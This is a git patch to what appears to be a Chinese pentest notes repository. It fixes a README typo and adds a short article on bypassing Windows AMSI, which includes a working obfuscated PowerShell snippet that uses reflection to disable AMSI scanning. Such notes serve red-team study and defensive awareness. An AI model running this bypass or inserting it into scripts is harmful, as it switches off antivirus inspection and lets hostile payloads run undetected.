From 51b563e3c33c8b76bd52bd7562b340c067f1d74b Mon Sep 17 00:00:00 2001 From: Mrxn Date: Thu, 2 Jul 2020 23:21:42 +0800 Subject: [PATCH] fix type error --- README.md | 2 +- books/绕过AMSI执行powershell脚本.md | 21 +++++++++++++++++++++ books/绕过ASM执行powershell脚本.md | 2 +- 3 files changed, 23 insertions(+), 2 deletions(-) create mode 100644 books/绕过AMSI执行powershell脚本.md diff --git a/README.md b/README.md index 3201082..8e93d63 100644 --- a/README.md +++ b/README.md @@ -486,7 +486,7 @@ - [Pentest_Note-渗透Tips,总结了渗透测试常用的工具方法](https://github.com/xiaoy-sec/Pentest_Note) - [红蓝对抗之Windows内网渗透-腾讯SRC出品](./books/红蓝对抗之Windows内网渗透-腾讯SRC出品.pdf) - [远程提取Windows中的系统凭证](./books/远程提取Windows中的系统凭证.pdf) -- [绕过ASM执行powershell脚本](./books/绕过ASM执行powershell脚本.md)|[AmsiScanBufferBypass-相关项目](https://github.com/rasta-mouse/AmsiScanBufferBypass) +- [绕过AMSI执行powershell脚本](./books/绕过ASM执行powershell脚本.md)|[AmsiScanBufferBypass-相关项目](https://github.com/rasta-mouse/AmsiScanBufferBypass) ## 说明 diff --git a/books/绕过AMSI执行powershell脚本.md b/books/绕过AMSI执行powershell脚本.md new file mode 100644 index 0000000..cc23589 --- /dev/null +++ b/books/绕过AMSI执行powershell脚本.md @@ -0,0 +1,21 @@ +## 绕过AMSI执行powershell脚本 + +> AMSI的全称是反恶意软件扫描接口(Anti-Malware Scan Interface),是从Windows 10开始引入的一种机制。AMSI是应用程序和服务能够使用的一种接口,程序和服务可以将“数据”发送到安装在系统上的反恶意软件服务(如Windows Defender)。 + +在基于场景的资产评估或者基于数据的红队评估中,许多渗透测试人员都会与AMSI打交道,因此对相关功能也比较了解。AMSI能够提供更强大的保护,可以为反恶意软件产品提供更透彻的可见性,因此能防御攻击过程中常用的一些现代工具、战术以及过程(TTP)。最相关的操作就是PowerShell无文件payload,在实际环境中,攻击者及渗透测试人员都在使用这种技术来完成任务。 + +正因为此,AMSI是大家广泛研究的一个主题,能否绕过AMSI已经成为攻击能否成功的决定性因素。在本文中,我们介绍了AMSI的内部工作原理,也介绍了一种新的绕过方法。 + +关键powershell代码如下: +```powershell +$a =[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') +$h="4456625220575263174452554847" +$s =[string](0..13|%{[char][int](53+($h).substring(($_*2),2))})-replace " " +$b =$a.GetField($s,'NonPublic,Static') +$b.SetValue($null,$true) +``` + +效果如图: +![AMSI_TN_bypass](../img/AMSI_TN_bypass.jpg) + +代码来自:`https://pastebin.com/sQFWANwr` diff --git a/books/绕过ASM执行powershell脚本.md b/books/绕过ASM执行powershell脚本.md index 1e74b6e..cc23589 100644 --- a/books/绕过ASM执行powershell脚本.md +++ b/books/绕过ASM执行powershell脚本.md @@ -1,4 +1,4 @@ -## 绕过ASM执行powershell脚本 +## 绕过AMSI执行powershell脚本 > AMSI的全称是反恶意软件扫描接口(Anti-Malware Scan Interface),是从Windows 10开始引入的一种机制。AMSI是应用程序和服务能够使用的一种接口,程序和服务可以将“数据”发送到安装在系统上的反恶意软件服务(如Windows Defender)。